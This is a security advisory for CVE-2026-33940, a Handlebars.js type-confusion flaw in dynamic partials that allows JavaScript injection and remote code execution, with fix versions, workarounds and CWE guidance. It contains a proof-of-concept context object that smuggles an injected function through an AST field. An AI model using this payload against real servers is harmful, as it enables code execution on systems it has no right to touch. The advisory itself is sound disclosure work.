Skip to content

GHSA-xhpv-hc6g-r9c6 CVE-2026-33940

Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial

High npm
Severity
8.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.71%
Chance of exploitation in the next 30 days. Higher than 53.77% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
4.7.9
Upgrade handlebars to this version or later

Description

Summary

A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.

Description

The vulnerable code path spans two functions in lib/handlebars/runtime.js:

resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.

invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.

Minimum prerequisites:

  1. The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent.
  2. The adversary can set the value of the looked-up context property to a crafted object.

In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.

Proof of Concept

const Handlebars = require('handlebars');

const vulnerableTemplate = `{{> (lookup . "payload")}}`;

const maliciousContext = {
  payload: {
    call: true, // bypasses the primary resolvePartial branch
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Injected code breaks out of the generated function's argument list
          depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). Without compile(), the fallback compilation path in invokePartial is unreachable.
  • Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.
  • Avoid dynamic partial lookups ({{> (lookup ...)}}) when context data is user-controlled.

Affected versions

npm

PackageVulnerableFixed in
handlebars
>= 4.0.0, < 4.7.9
4.7.9

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

handlebars npm → 4.7.9

npm
npm install handlebars@4.7.9
yarn
yarn add handlebars@4.7.9
pnpm
pnpm add handlebars@4.7.9

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8r5x-fm3f-whwj
Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)
Critical Also affects handlebars
GHSA-p8wg-vrv2-v86f
Handlebars: JavaScript Injection via Own Property Check Bypass
Critical Also affects handlebars
GHSA-xw65-4hp5-5hc7
Handlebars: JavaScript Injection via Unsafe Inline Embedding of Precompiled Templates
Medium Also affects handlebars
GHSA-7rx3-28cr-v5wh
Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry
Medium Also affects handlebars
GHSA-442j-39wm-28r2
Handlebars.js has a Property Access Validation Bypass in container.lookup
Low Also affects handlebars
GHSA-xjpj-3mr7-gcpf
Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options
High Also affects handlebars
GHSA-9cx6-37pm-9jff
Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation
High Also affects handlebars
GHSA-3mfm-83xf-c92r
Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
High Also affects handlebars
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor